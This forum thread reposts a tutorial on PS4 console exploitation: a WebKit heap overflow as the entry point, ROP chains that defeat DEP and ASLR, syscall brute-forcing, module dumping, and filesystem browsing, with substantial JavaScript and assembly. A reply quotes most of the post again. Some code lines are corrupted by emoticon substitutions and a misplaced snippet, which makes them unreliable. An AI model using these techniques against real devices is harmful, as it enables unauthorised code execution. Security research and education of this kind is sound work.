Post: PS4 Security Explained.
10-05-2015, 04:22 PM #1
(adsbygoogle = window.adsbygoogle || []).push({});
WebKit Entry Point


WebKit is the open source layout engine which renders web pages in the browsers for iOS, Wii U, 3DS, PS Vita, and the PS4.

Although so widely used and mature, WebKit does have its share of vulnerabilities; you can learn about most of them by reading Pwn2Own write-ups.

In particular, the browser in PS4 firmware 1.76 uses a version of WebKit which is vulnerable to CVE-2012-3748, a heap-based buffer overflow in the JSArray::sort(...) method.

In 2014, nas and Proxima announced that they had successfully been able to port this exploit to the PS4's browser, and released the PoC code publicly as the first entry point into hacking the PS4.

This gives us arbitrary read and write access to everything the WebKit process can read and write to, which can be used to dump modules, and overwrite return addresses on the stack, letting us control the Program Counter (for ROP).

Since then, many other vulnerabilities have been found in WebKit, which could probably allow for module dumping and ROP on later firmwares of the PS4, but as of writing, no one has ported any of these exploits to the PS4 publicly.

What is ROP?


Unlike in primitive devices like the DS, the PS4 has a kernel which controls the properties of different areas of memory. Pages of memory which are marked as executable cannot be overwritten, and pages of memory which are marked as writable cannot be executed; this is known as Data Execution Prevention (DEP).

This means that we can't just copy a payload into memory and execute it. However, we can execute code that is already loaded into memory and marked as executable.

It wouldn't be very useful to jump to a single address if we can't write our own code to that address, so we use ROP.

Return-Oriented Programming (ROP) is just an extension to traditional stack smashing, but instead of overwriting only a single value which the PC will jump to, we can chain together many different addresses, known as gadgets.

A gadget is usually just a single desired instruction followed by a ret.

In x86_64 assembly, when a ret instruction is reached, a 64bit value is popped off the stack and the PC jumps to it; since we can control the stack, we can make every ret instruction jump to the next desired gadget.

For example, from 0x80000 may contains instructions:

    mov rax, 0
ret



And from 0x90000 may contain instructions:

    mov rbx, 0
ret


If we overwrite a return address on the stack to contain 0x80000 followed by 0x90000, then as soon as the first ret instruction is reached execution will jump to mov rax, 0, and immediately afterwards, the next ret instruction will pop 0x90000 off the stack and jump to mov rbx, 0.

Effectively this chain will set both rax and rbx to 0, just as if we had written the code into a single location and executed it from there.

ROP chains aren't just limited to a list of addresses though; assuming that from 0xa0000 contains these instructions:

    pop rax
ret


We can set the first item in the chain to 0xa0000 and the next item to any desired value for rax.

Gadgets also don't have to end in a ret instruction; we can use gadgets ending in a jmp:

    add rax, 8
jmp rcx


By making the rcx point to a ret instruction, the chain will continue as normal:

    chain.add("pop rcx", "ret");
chain.add("add rax, 8; jmp rcx");


Sometimes you won't be able to find the exact gadget that you need on its own, but with other instructions after it. For example, if you want to set r8 to something, but only have this gadget, you will have to set r9 to some dummy value:

    pop r8
pop r9
ret


Although you may have to be creative with how you write ROP chains, it is generally accepted that within a sufficiently large enough code dump, there will be enough gadgets for Turing-complete functionality; this makes ROP a viable method of bypassing DEP.

Finding gadgets


Think of ROP as writing a new chapter to a book, using only words that have appeared at the end of sentences in the previous chapters.

It's obvious from the structure of most sentences that we probably won't be able to find words like 'and' or 'but' appearing at the end of any sentences, but we will need these connectives in order to write anything meaningful.

It is quite possible however, that a sentence has ended with 'sand'. Although the author only ever intended for the word to be read from the 's', if we start reading from the 'a', it will appear as an entirely different word by coincidence, 'and'.

These principles also apply to ROP.

Since the structure of almost all functions follows something like this:

    ; Save registers
push rbp
mov rbp, rsp
push r15
push r14
push r13
push r12
push rbx
sub rsp, 18h

; Function body

; Restore registers
add rsp, 18h
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
ret


You'd expect to only be able to find pop gadgets, or more rarely, something like xor rax, rax to set the return value to 0 before returning.

Having a comparison like:

    cmp [rax], r12
ret


Wouldn't make any sense since the result of the comparison isn't used by the function. However, there is still a possibility that we can find gadgets like these.

x86_64 instructions are similar to words in that they variable lengths, and can mean something entirely different depending on where decoding starts.

Originally posted by another user
The x86_64 architecture is a variable-length CISC instruction set. Return-oriented programming on the x86_64 takes advantage of the fact that the instruction set is very "dense", that is, any random sequence of bytes is likely to be interpretable as some valid set of x86_64 instructions.


To demonstrate this, take a look at the end of this function from the WebKit module:

    000000000052BE0D                 mov     eax, [rdx+8]
000000000052BE10 mov [rsi+10h], eax
000000000052BE13 or byte ptr [rsi+39h], 20h
000000000052BE17 ret


Now take a look at what the code looks like if we start decoding from 0x52be14:

    000000000052BE14                 cmp     [rax], r12
000000000052BE17 ret


Even though this code was never intended to be executed, it is within an area of memory which has been marked as executable, so it is perfectly valid to use as a gadget.

Of course, it would be incredibily time consuming to look at every possible way of interpreting code before every single ret instruction manually; and that's why tools exist to do this for you. The one which I use to search for ROP gadgets is rp++; to generate a text file filled with gadgets, just use:

    setU8to(chain.data + 0, 0xeb);
setU8to(chain.data + 1, 0xfe);

chain.add(chain.data);


And trying to write to code, which is mapped as read and execute only:

    setU8to(moduleBases[webkit], 0);


If a segmentation fault occurs, a message saying "There is not enough free system memory" will appear, and the page will fail to load:

You must login or register to view this content.


There are other possible reasons for this message to be displayed, such as executing an invalid instruction or an unimplemented system call, but a segmentation fault is the most common.

ASLR


Address Space Layout Randomization (ASLR) is a security technique which causes the base addresses of modules to be different every time you start the PS4.

It has been reported to me that very old firmwares (1.05) don't have ASLR enabled, but it was introduced sometime before firmware 1.70. Note that kernel ASLR is not enabled (for firmwares 1.76 and lower at least), which will be proved later in the article.

For most exploits ASLR would be a problem because if you don't know the addresses of the gadgets in memory, you would have no idea what to write to the stack.

Luckily for us, we aren't limited to just writing static ROP chains. We can use JavaScript to read the modules table, which will tell us the base addresses of all loaded modules. Using these bases, we can then calculate the addresses of all our gadgets before we trigger ROP execution, bypassing ASLR.

The modules table also includes the filenames of the modules:


  • WebProcess.self
    libkernel.sprx
    libSceLibcInternal.sprx
    libSceSysmodule.sprx
    libSceNet.sprx
    libSceNetCtl.sprx
    libSceIpmi.sprx
    libSceMbus.sprx
    libSceRegMgr.sprx
    libSceRtc.sprx
    libScePad.sprx
    libSceVideoOut.sprx
    libScePigletv2VSH.sprx
    libSceOrbisCompat.sprx
    libSceWebKit2.sprx
    libSceSysCore.sprx
    libSceSsl.sprx
    libSceVideoCoreServerInterface.sprx
    libSceSystemService.sprx
    libSceCompositeExt.sprx


Although the PS4 predominantly uses the [Signed] PPU Relocatable Executable ([S]PRX) format for modules, some string references to [Signed] Executable and Linking Format ([S]ELF) object files can also be found in the libSceSysmodule.sprx dump, such as bdj.elf, web_core.elf and orbis-jsc-compiler.self. This combination of modules and objects is similar to what is used in the PSP and PS3.

You can view a complete list of all modules available (not just those loaded by the browser) in libSceSysmodule.sprx. We can load and dump some of these through several of Sony's custom system calls, which will be explained later in this article.

JuSt-ROP


Using JavaScript to write and execute dynamic ROP chains gives us a tremendous advantage over a standard buffer overflow attack.

As well as bypassing ASLR, we can also read the user agent of the browser, and provide a different ROP chain for different browser versions, giving our exploit the highest compatibility possible.

We can even use JavaScript to read the memory at our gadgets' addresses to check that they are correct, giving us almost perfect reliability.

Writing ROP chains dynamically, rather than generating them with a script beforehand, just makes sense.


JavaScript caveats


JavaScript represents numbers using the IEEE-754 double-precision (64bit) format. This provides us with 53bit precision, meaning that it isn't possible to represent every 64bit value, approximations will have to be used for some.

If you just need to set a 64bit value to something low, like 256, then setU64to will be fine.

But for situations in which you need to write a buffer or struct of data, there is the possibility that certain bytes will be written incorrectly if it has been written in 64bit chunks.

Instead, you should write data in 32bit chunks (remembering that the PS4 is little endian), to ensure that every byte is exact.

System calls


Interestingly, the PS4 uses the same calling convention as Linux and MS-DOS for system calls, with arguments stored in registers, rather than the traditional UNIX way (which FreeBSD uses by default), with arguments stored in the stack:

rax - System call number
rdi - Argument 1
rsi - Argument 2
rdx - Argument 3
r10 - Argument 4
r8 - Argument 5
r9 - Argument 6

We can try to perform any system call with the following JuSt-ROP method:

    this.syscall = function(name, systemCallNumber, arg1, arg2, arg3, arg4, arg5, arg6) {
console.log("syscall " + name);

this.add("pop rax", systemCallNumber);
if(typeof(arg1) !== "undefined") this.add("pop rdi", arg1);
if(typeof(arg2) !== "undefined") this.add("pop rsi", arg2);
if(typeof(arg3) !== "undefined") this.add("pop rdx", arg3);
if(typeof(arg4) !== "undefined") this.add("pop rcx", arg4);
if(typeof(arg5) !== "undefined") this.add("pop r8", arg5);
if(typeof(arg6) !== "undefined") this.add("pop r9", arg6);
this.add("mov r10, rcx; syscall");
}


Just make sure to set the stack base to some free memory beforehand:

    this.add("pop rbp", stackBase + returnAddress + 0x1400);


Using system calls can tell us a huge amount about the PS4 kernel. Not only that, but using system calls is most likely the only way that we can interact with the kernel, and thus potentially trigger a kernel exploit.

If you are reverse engineering modules to identify some of Sony's custom system calls, you may come across an alternative calling convention:

Sometimes Sony performs system calls through regular system call 0 (which usually does nothing in FreeBSD), with the first argument (rdi) controlling which system call should be executed:

rax - 0
rdi - System call number
rsi - Argument 1
rdx - Argument 2
r10 - Argument 3
r8 - Argument 4
r9 - Argument 5

It is likely that Sony did this to have easy compatibility with the function calling convention. For example:

    .global syscall
syscall:
xor rax, rax
mov r10, rcx
syscall
ret


Using this, they can perform system calls from C using the function calling convention:

    int syscall();

int getpid(void) {
return syscall(20);
}


When writing ROP chains, we can use either convention:

    // Both will get the current process ISad Awesome
chain.syscall("getpid", 20);
chain.syscall("getpid", 0, 20);


It's good to be aware of this, because we can use whichever one is more convenient for the gadgets that are available.

getpid


Just by using system call 20, getpid(void), we can learn a lot about the kernel.

The very fact that this system call works at all tells us that Sony didn't bother mixing up the system call numbers as a means of security through obscurity (under the BSD license they could have done this without releasing the new system call numbers).

So, we automatically have a list of system calls in the PS4 kernel to try.

Secondly, by calling getpid(), restarting the browser, and calling it again, we get a return value 2 higher than the previous value.

This tells us that the Internet Browser app actually consists of 2 separate processes: the WebKit core (which we take over), that handles parsing HTML and CSS, decoding images, and executing JavaScript for example, and another one to handle everything else: displaying graphics, receiving controller input, managing history and bookmarks, etc.

Also, although FreeBSD has supported PID randomisation since 4.0, sequential PID allocation is the default behaviour.

The fact that PID allocation is set to the default behaviour indicates that Sony likely didn't bother adding any additional security enhancements such as those encouraged by projects like HardenedBSD.

How many custom system calls are there?


The last standard FreeBSD 9 system call is wait6, number 532; anything higher than this must be a custom Sony system call.

Invoking most of Sony's custom system calls without the correct arguments will return error 0x16, "Invalid argument"; however, any compatibility or unimplemented system calls will report the "There is not enough free system memory" error.

Through trial and error, I have found that system call number 617 is the last Sony system call, anything higher is unimplemented.

From this, we can conclude that there are 85 custom Sony system calls in the PS4's kernel (617 - 532).

This is significantly less than the PS3, which had almost 1000 system calls in total. This indicates that we have fewer possible attack vectors, but that it may be easier to document all of the system calls.

Furthermore, 9 of these 85 system calls always return 0x4e, ENOSYS, which suggests that they may only be callable from development units, leaving us with just 76 which are usable.

Of these 76, only 45 are referenced by libkernel.sprx (which all non-core applications use to perform system calls), so developers only have 45 custom system calls which they can use.

Interestingly, although only 45 are intended to be called (because libkernel.sprx has wrappers for them), some of the other 31 are still callable from the Internet Browser process. It is more likely for these unintended system calls to have vulnerabilities in them, since they have probably had the least amount of testing.

libkernel.sprx


To identify how custom system calls are used by libkernel, you must first remember that it is just a modification of the standard FreeBSD 9.0 libraries.

Here's an extract of _libpthread_init from thr_init.c:

    /*
* Check for the special case of this process running as
* or in place of init as pid = 1:
*/
if ((_thr_pid = getpid()) == 1) {
/*
* Setup a new session for this process which is
* assumed to be running as root.
*/
if (setsid() == -1)
PANIC("Can't set session ID");
if (revoke(_PATH_CONSOLE) != 0)
PANIC("Can't revoke console");
if ((fd = __sys_open(_PATH_CONSOLE, O_RDWR)) < 0)
PANIC("Can't open console");
if (setlogin("root") == -1)
PANIC("Can't set login to root");
if (_ioctl(fd, TIOCSCTTY, (char *) NULL) == -1)
PANIC("Can't set controlling terminal");
}


The same function can be found at offset 0x215F0 from libkernel.sprx. This is how the above extract looks from within a libkernel dump:

    call    getpid
mov cs:dword_5B638, eax
cmp eax, 1
jnz short loc_2169F

call setsid
cmp eax, 0FFFFFFFFh
jz loc_21A0C

lea rdi, aDevConsole ; "/dev/console"
call revoke
test eax, eax
jnz loc_21A24

lea rdi, aDevConsole ; "/dev/console"
mov esi, 2
xor al, al
call open

mov r14d, eax
test r14d, r14d
js loc_21A3C
lea rdi, aRoot ; "root"
call setlogin
cmp eax, 0FFFFFFFFh
jz loc_21A54

mov edi, r14d
mov esi, 20007461h
xor edx, edx
xor al, al
call ioctl
cmp eax, 0FFFFFFFFh
jz loc_21A6C


Reversing module dumps to analyse system calls


libkernel isn't completely open source though; there's also a lot of custom code which can help disclose some of Sony's system calls.

Although this process will vary depending on the system call you are looking up; for some, it is fairly easy to get a basic understanding of the arguments that are passed to it.

The system call wrapper will be declared somewhere in libkernel.sprx, and will almost always follow this template:

    000000000000DB70 syscall_601     proc near
000000000000DB70 mov rax, 259h
000000000000DB77 mov r10, rcx
000000000000DB7A syscall
000000000000DB7C jb short error
000000000000DB7E retn
000000000000DB7F
000000000000DB7F error:
000000000000DB7F lea rcx, sub_DF60
000000000000DB86 jmp rcx
000000000000DB86 syscall_601 endp


Note that the mov r10, rcx instruction doesn't necessarily mean that the system call takes at least 4 arguments; all system call wrappers have it, even those that take no arguments, such as getpid.

Once you've found the wrapper, you can look up xrefs to it:

    0000000000011D50                 mov     edi, 10h
0000000000011D55 xor esi, esi
0000000000011D57 mov edx, 1
0000000000011D5C call syscall_601
0000000000011D61 test eax, eax
0000000000011D63 jz short loc_11D6A

It's good to look up several of these, just to make sure that the registers weren't modified for something unrelated:

    0000000000011A28                 mov     edi, 9
0000000000011A2D xor esi, esi
0000000000011A2F xor edx, edx
0000000000011A31 call syscall_601
0000000000011A36 test eax, eax
0000000000011A38 jz short loc_11A3F

Consistently, the first three registers of the system call convention (rdi, rsi, and rdx) are modified before invoking the call, so we can conclude with reasonable confidence that it takes 3 arguments.

For clarity, this is how we would replicate the calls in JuSt-ROP:

    chain.syscall("unknown", 601, 0x10, 0, 1);
chain.syscall("unknown", 601, 9, 0, 0);

As with most system calls, it will return 0 on success, as seen by the jz conditional after testing the return value.

Looking up anything beyond than the amount of arguments will require a much more in-depth analysis of the code before and after the call to understand the context, but this should help you get started.

Brute forcing system calls


Although reverse engineering module dumps is the most reliable way to identify system calls, some aren't referenced at all in the dumps we have so we will need to analyse them blindly.

If we guess that a certain system call might take a particular set of arguments, we can brute force all system calls which return a certain value (0 for success) with the arguments that we chose, and ignore all which returned an error.

We can also pass 0s for all arguments, and brute force all system calls which return useful errors such as 0xe, "Bad address", which would indicate that they take at least one pointer.

Firstly, we will need to execute the ROP chain as soon as the page loads. We can do this by attaching our function to the body element's

    onload:

<body onload="exploit()">


Next we will need to perform a specific system call depending on an HTTP GET value. Although this can be done with JavaScript, I will demonstrate how to do this using PHP for simplicity:

    var Sony = 533;
chain.syscall("Sony system call", Sony + <?php print($_GET["b"]); ?>, 0, 0, 0, 0, 0, 0);
chain.write_rax_ToVariable(0);


Once the system call has executed, we can check the return value, and if it isn't interesting, redirect the page to the next system call:

    if(chain.getVariable(0) == 0x16) window.location.assign("index.php?b=" + (<?php print($_GET["b"]); ?> + 1).toString());


Running the page with ?b=0 appended to the end will start the brute force from the first Sony system call.

Although this method requires a lot of experimentation, by passing different values to some of the system calls found by brute forcing and analysing the new return values, there are a few system calls which you should be able to partially identify.

System call 538


As an example, I'll take a look at system call 538, without relying on any module dumps.

These are the return values depending on what is passed as the first argument:

    0 - 0x16, "Invalid argument"
1 - 0xe, "Bad address"
Pointer to 0s - 0x64 initially, but each time the page is refreshed this value increases by 1


Other potential arguments to try would be PID, thread ID, and file descriptor.

Although most system calls will return 0 on success, due to the nature of the return value increasing after each time it is called, it seems like it is allocating a resource number, such as a file descriptor.

The next thing to do would be to look at the data before and after performing the system call, to see if it has been written to.

Since there is no change in the data, we can assume that it is an input for now.

I then tried passing a long string as the first argument. You should always try this with every input you find because there is the possibility of discovering a buffer overflow.

    writeString(chain.data, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
chain.syscall("unknown", 538, chain.data, 0, 0, 0, 0, 0);


The return value for this is 0x3f, ENAMETOOLONG. Unfortunately it seems that this system call correctly limits the name (32 bytes including NULL truncator), but it does tell us that it is expecting a string, rather than a struct.

We now have a few possibilities for what this system call is doing, the most obvious being something related to the filesystem (such as a custom mkdir or open), but this doesn't seem particularly likely seeing as a resource was allocated even before we wrote any data to the pointer.

To test whether the first parameter is a path, we can break it up with multiple / characters to see if this allows for a longer string:

    writeString(chain.data, "aaaaaaaaaa/aaaaaaaaaa/aaaaaaaaaa");
chain.syscall("unknown", 538, chain.data, 0, 0, 0, 0, 0);


Since this also returns 0x3f, we can assume that the first argument isn't a path; it is a name for something that gets allocated a sequential identifier.

After analysing some more system calls, I found that the following all shared this exact same behaviour:

533
538
557
574
580

From the information that we have so far, it is almost impossible to pinpoint exactly what these system calls do, but as you run more tests, further information will slowly be revealed.

To save you some time, system call 538 is allocating an event flag (and it doesn't just take a name).

Using general knowledge of how a kernel works, you can guess, and then verify, what the system calls are allocating (semaphores, mutexes, etc).

Dumping additional modules


We can dump additional modules by following these stages:

Load the module
Get the module's base address
Dump the module
I tediously tried loading and dumping every single module from within the Internet Browser manually, and posted the results on psdevwiki. All modules with Yes next to them can be dumped with this method.

To load a module we will need to use the sceSysmoduleLoadModule function from libSceSysmodule.sprx + 0x1850. The first parameter is the module ID to load, and the other 3 should just be passed 0.

The following JuSt-ROP method can be used to perform a function call:

    this.call = function(name, module, address, arg1, arg2, arg3, arg4, arg5, arg6) {
console.log("call " + name);

if(typeof(arg1) !== "undefined") this.add("pop rdi", arg1);
if(typeof(arg2) !== "undefined") this.add("pop rsi", arg2);
if(typeof(arg3) !== "undefined") this.add("pop rdx", arg3);
if(typeof(arg4) !== "undefined") this.add("pop rcx", arg4);
if(typeof(arg5) !== "undefined") this.add("pop r8", arg5);
if(typeof(arg6) !== "undefined") this.add("pop r9", arg6);
this.add(module_bases[module] + address);
}


So, to load libSceAvSetting.sprx (0xb):

    chain.call("sceSysmoduleLoadModule", libSysmodule, 0x1850, 0xb, 0, 0, 0);


Like most system calls, this should return 0 on success. To see the loaded module ID that was allocated, we can use one of Sony's custom system calls, number 592, to get a list of currently loaded modules:

    var countAddress = chain.data;
var modulesAddress = chain.data + 8;

// System call 592, getLoadedModules(int *destinationModuleIDs, int max, int *count);
chain.syscall("getLoadedModules", 592, modulesAddress, 256, countAddress);

chain.execute(function() {
var count = getU64from(countAddress);
for(var index = 0; index < count; index++) {
logAdd("Module: 0x" + getU32from(modulesAddress + index * 4).toString(16));
}
});


Running this without loading any additional modules will produce the following list:

    0x0, 0x1, 0x2, 0xc, 0xe, 0xf, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1e, 0x37, 0x59


But if we run it after loading module 0xb, we seen an additional entry, 0x65. Remember that module ID is not the same as loaded module ID.

We can now use another of Sony's custom system calls, number 593, which takes a loaded module ID and a buffer, and fills the buffer with information about the loaded module, including its base address. Since the loaded module ID is always 0x65, we can hardcode it into our chain, rather than having to store the result from the module list.

The buffer must start with the size of the struct that should be returned, otherwise error0x16 will be returned, "Invalid argument":

    setU64to(moduleInfoAddress, 0x160);
chain.syscall("getModuleInfo", 593, 0x65, moduleInfoAddress);

chain.execute(function() {
logAdd(hexDump(moduleInfoAddress, 0x160));
});


It will return 0 upon success, and fill the buffer with a struct which can be read like so:

    var name = readString(moduleInfoAddress + 0xCool Man (aka Tustin);
var codeBase = getU64from(moduleInfoAddress + 0x10Cool Man (aka Tustin);
var codeSize = getU32from(moduleInfoAddress + 0x110);
var dataBase = getU64from(moduleInfoAddress + 0x11Cool Man (aka Tustin);
var dataSize = getU32from(moduleInfoAddress + 0x120);


We now have everything we need to dump the module!

    dump(codeBase, codeSize + dataSize);


There is another Sony system call, number 608, which works in a similar way to 593, but provides slightly different information about the loaded module:

    setU64to(moduleInfoAddress, 0x1aCool Man (aka Tustin);
chain.syscall("getDifferentModuleInfo", 608, 0x65, 0, moduleInfoAddress);
logAdd(hexDump(moduleInfoAddress, 0x1aCool Man (aka Tustin));

It's not clear what this information is.

Browsing the filesystem


The PS4 uses the standard FreeBSD 9.0 system calls for reading files and directories.

However, whilst using read for some directories such as /dev/ will work, others, such as / will fail.

I'm not sure why this is, but if we use gendents instead of read for directories, it will work much more reliably:

    writeString(chain.data, "/dev/");
chain.syscall("open", 5, chain.data, 0, 0);
chain.write_rax_ToVariable(0);

chain.read_rdi_FromVariable(0);
chain.syscall("getdents", 272, undefined, chain.data + 0x10, 102Cool Man (aka Tustin);


This is the resultant memory:

    0000010: 0700 0000 1000 0205 6469 7073 7700 0000  ........dipsw...
0000020: 0800 0000 1000 0204 6e75 6c6c 0000 0000 ........null....
0000030: 0900 0000 1000 0204 7a65 726f 0000 0000 ........zero....
0000040: 0301 0000 0c00 0402 6664 0000 0b00 0000 ........fd......
0000050: 1000 0a05 7374 6469 6e00 0000 0d00 0000 ....stdin.......
0000060: 1000 0a06 7374 646f 7574 0000 0f00 0000 ....stdout......
0000070: 1000 0a06 7374 6465 7272 0000 1000 0000 ....stderr......
0000080: 1000 0205 646d 656d 3000 0000 1100 0000 ....dmem0.......
0000090: 1000 0205 646d 656d 3100 0000 1300 0000 ....dmem1.......
00000a0: 1000 0206 7261 6e64 6f6d 0000 1400 0000 ....random......
00000b0: 1000 0a07 7572 616e 646f 6d00 1600 0000 ....urandom.....
00000c0: 1400 020b 6465 6369 5f73 7464 6f75 7400 ....deci_stdout.
00000d0: 1700 0000 1400 020b 6465 6369 5f73 7464 ........deci_std
00000e0: 6572 7200 1800 0000 1400 0209 6465 6369 err.........deci
00000f0: 5f74 7479 3200 0000 1900 0000 1400 0209 _tty2...........
0000100: 6465 6369 5f74 7479 3300 0000 1a00 0000 deci_tty3.......
0000110: 1400 0209 6465 6369 5f74 7479 3400 0000 ....deci_tty4...
0000120: 1b00 0000 1400 0209 6465 6369 5f74 7479 ........deci_tty
0000130: 3500 0000 1c00 0000 1400 0209 6465 6369 5...........deci
0000140: 5f74 7479 3600 0000 1d00 0000 1400 0209 _tty6...........
0000150: 6465 6369 5f74 7479 3700 0000 1e00 0000 deci_tty7.......
0000160: 1400 020a 6465 6369 5f74 7479 6130 0000 ....deci_ttya0..
0000170: 1f00 0000 1400 020a 6465 6369 5f74 7479 ........deci_tty
0000180: 6230 0000 2000 0000 1400 020a 6465 6369 b0.. .......deci
0000190: 5f74 7479 6330 0000 2200 0000 1400 020a _ttyc0..".......
00001a0: 6465 6369 5f73 7464 696e 0000 2300 0000 deci_stdin..#...
00001b0: 0c00 0203 6270 6600 2400 0000 1000 0a04 ....bpf.$.......
00001c0: 6270 6630 0000 0000 2900 0000 0c00 0203 bpf0....).......
00001d0: 6869 6400 2c00 0000 1400 0208 7363 655f hid.,.......sce_
00001e0: 7a6c 6962 0000 0000 2e00 0000 1000 0204 zlib............
00001f0: 6374 7479 0000 0000 3400 0000 0c00 0202 ctty....4.......
0000200: 6763 0000 3900 0000 0c00 0203 6463 6500 gc..9.......dce.
0000210: 3a00 0000 1000 0205 6462 6767 6300 0000 :.......dbggc...
0000220: 3e00 0000 0c00 0203 616a 6d00 4100 0000 >.......ajm.A...
0000230: 0c00 0203 7576 6400 4200 0000 0c00 0203 ....uvd.B.......
0000240: 7663 6500 4500 0000 1800 020d 6e6f 7469 vce.E.......noti
0000250: 6669 6361 7469 6f6e 3000 0000 4600 0000 fication0...F...
0000260: 1800 020d 6e6f 7469 6669 6361 7469 6f6e ....notification
0000270: 3100 0000 5000 0000 1000 0206 7573 6263 1...P.......usbc
0000280: 746c 0000 5600 0000 1000 0206 6361 6d65 tl..V.......came
0000290: 7261 0000 8500 0000 0c00 0203 726e 6700 ra..........rng.
00002a0: 0701 0000 0c00 0403 7573 6200 c900 0000 ........usb.....
00002b0: 1000 0a07 7567 656e 302e 3400 0000 0000 ....ugen0.4.....
00002c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................


You can read some of these devices, for example: reading /dev/urandom will fill the memory with random data.

It is also possible to parse this memory to create a clean list of entries; look at browser.html in the repository for a complete

file browser:

You must login or register to view this content.


Unfortunately, due to sandboxing we don't have complete access to the file system. Trying to read files and directories that do exist but are restricted will give you error 2, ENOENT, "No such file or directory".

We do have access to a lot of interesting stuff though including encrypted save data, trophies, and account information.

Credits
CTURT
flatz
SKFU
droogie
Xerpi
bigboss
Hunger
Takezo
Proxima

I hope this has cleared some things up.
Last edited by xMoDzLiKe ; 10-05-2015 at 04:27 PM.

The following 2 users say thank you to xMoDzLiKe for this useful post:

Jordan, Scouse Power
10-05-2015, 06:16 PM #2
Originally posted by xMoDzLiKe View Post
WebKit Entry Point


WebKit is the open source layout engine which renders web pages in the browsers for iOS, Wii U, 3DS, PS Vita, and the PS4.

Although so widely used and mature, WebKit does have its share of vulnerabilities; you can learn about most of them by reading Pwn2Own write-ups.

In particular, the browser in PS4 firmware 1.76 uses a version of WebKit which is vulnerable to CVE-2012-3748, a heap-based buffer overflow in the JSArray::sort(...) method.

In 2014, nas and Proxima announced that they had successfully been able to port this exploit to the PS4's browser, and released the PoC code publicly as the first entry point into hacking the PS4.

This gives us arbitrary read and write access to everything the WebKit process can read and write to, which can be used to dump modules, and overwrite return addresses on the stack, letting us control the Program Counter (for ROP).

Since then, many other vulnerabilities have been found in WebKit, which could probably allow for module dumping and ROP on later firmwares of the PS4, but as of writing, no one has ported any of these exploits to the PS4 publicly.

What is ROP?


Unlike in primitive devices like the DS, the PS4 has a kernel which controls the properties of different areas of memory. Pages of memory which are marked as executable cannot be overwritten, and pages of memory which are marked as writable cannot be executed; this is known as Data Execution Prevention (DEP).

This means that we can't just copy a payload into memory and execute it. However, we can execute code that is already loaded into memory and marked as executable.

It wouldn't be very useful to jump to a single address if we can't write our own code to that address, so we use ROP.

Return-Oriented Programming (ROP) is just an extension to traditional stack smashing, but instead of overwriting only a single value which the PC will jump to, we can chain together many different addresses, known as gadgets.

A gadget is usually just a single desired instruction followed by a ret.

In x86_64 assembly, when a ret instruction is reached, a 64bit value is popped off the stack and the PC jumps to it; since we can control the stack, we can make every ret instruction jump to the next desired gadget.

For example, from 0x80000 may contains instructions:

    mov rax, 0
ret



And from 0x90000 may contain instructions:

    mov rbx, 0
ret


If we overwrite a return address on the stack to contain 0x80000 followed by 0x90000, then as soon as the first ret instruction is reached execution will jump to mov rax, 0, and immediately afterwards, the next ret instruction will pop 0x90000 off the stack and jump to mov rbx, 0.

Effectively this chain will set both rax and rbx to 0, just as if we had written the code into a single location and executed it from there.

ROP chains aren't just limited to a list of addresses though; assuming that from 0xa0000 contains these instructions:

    pop rax
ret


We can set the first item in the chain to 0xa0000 and the next item to any desired value for rax.

Gadgets also don't have to end in a ret instruction; we can use gadgets ending in a jmp:

    add rax, 8
jmp rcx


By making the rcx point to a ret instruction, the chain will continue as normal:

    chain.add("pop rcx", "ret");
chain.add("add rax, 8; jmp rcx");


Sometimes you won't be able to find the exact gadget that you need on its own, but with other instructions after it. For example, if you want to set r8 to something, but only have this gadget, you will have to set r9 to some dummy value:

    pop r8
pop r9
ret


Although you may have to be creative with how you write ROP chains, it is generally accepted that within a sufficiently large enough code dump, there will be enough gadgets for Turing-complete functionality; this makes ROP a viable method of bypassing DEP.

Finding gadgets


Think of ROP as writing a new chapter to a book, using only words that have appeared at the end of sentences in the previous chapters.

It's obvious from the structure of most sentences that we probably won't be able to find words like 'and' or 'but' appearing at the end of any sentences, but we will need these connectives in order to write anything meaningful.

It is quite possible however, that a sentence has ended with 'sand'. Although the author only ever intended for the word to be read from the 's', if we start reading from the 'a', it will appear as an entirely different word by coincidence, 'and'.

These principles also apply to ROP.

Since the structure of almost all functions follows something like this:

    ; Save registers
push rbp
mov rbp, rsp
push r15
push r14
push r13
push r12
push rbx
sub rsp, 18h

; Function body

; Restore registers
add rsp, 18h
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
ret


You'd expect to only be able to find pop gadgets, or more rarely, something like xor rax, rax to set the return value to 0 before returning.

Having a comparison like:

    cmp [rax], r12
ret


Wouldn't make any sense since the result of the comparison isn't used by the function. However, there is still a possibility that we can find gadgets like these.

x86_64 instructions are similar to words in that they variable lengths, and can mean something entirely different depending on where decoding starts.



To demonstrate this, take a look at the end of this function from the WebKit module:

    000000000052BE0D                 mov     eax, [rdx+8]
000000000052BE10 mov [rsi+10h], eax
000000000052BE13 or byte ptr [rsi+39h], 20h
000000000052BE17 ret


Now take a look at what the code looks like if we start decoding from 0x52be14:

    000000000052BE14                 cmp     [rax], r12
000000000052BE17 ret


Even though this code was never intended to be executed, it is within an area of memory which has been marked as executable, so it is perfectly valid to use as a gadget.

Of course, it would be incredibily time consuming to look at every possible way of interpreting code before every single ret instruction manually; and that's why tools exist to do this for you. The one which I use to search for ROP gadgets is rp++; to generate a text file filled with gadgets, just use:

    setU8to(chain.data + 0, 0xeb);
setU8to(chain.data + 1, 0xfe);

chain.add(chain.data);


And trying to write to code, which is mapped as read and execute only:

    setU8to(moduleBases[webkit], 0);


If a segmentation fault occurs, a message saying "There is not enough free system memory" will appear, and the page will fail to load:

You must login or register to view this content.


There are other possible reasons for this message to be displayed, such as executing an invalid instruction or an unimplemented system call, but a segmentation fault is the most common.

ASLR


Address Space Layout Randomization (ASLR) is a security technique which causes the base addresses of modules to be different every time you start the PS4.

It has been reported to me that very old firmwares (1.05) don't have ASLR enabled, but it was introduced sometime before firmware 1.70. Note that kernel ASLR is not enabled (for firmwares 1.76 and lower at least), which will be proved later in the article.

For most exploits ASLR would be a problem because if you don't know the addresses of the gadgets in memory, you would have no idea what to write to the stack.

Luckily for us, we aren't limited to just writing static ROP chains. We can use JavaScript to read the modules table, which will tell us the base addresses of all loaded modules. Using these bases, we can then calculate the addresses of all our gadgets before we trigger ROP execution, bypassing ASLR.

The modules table also includes the filenames of the modules:


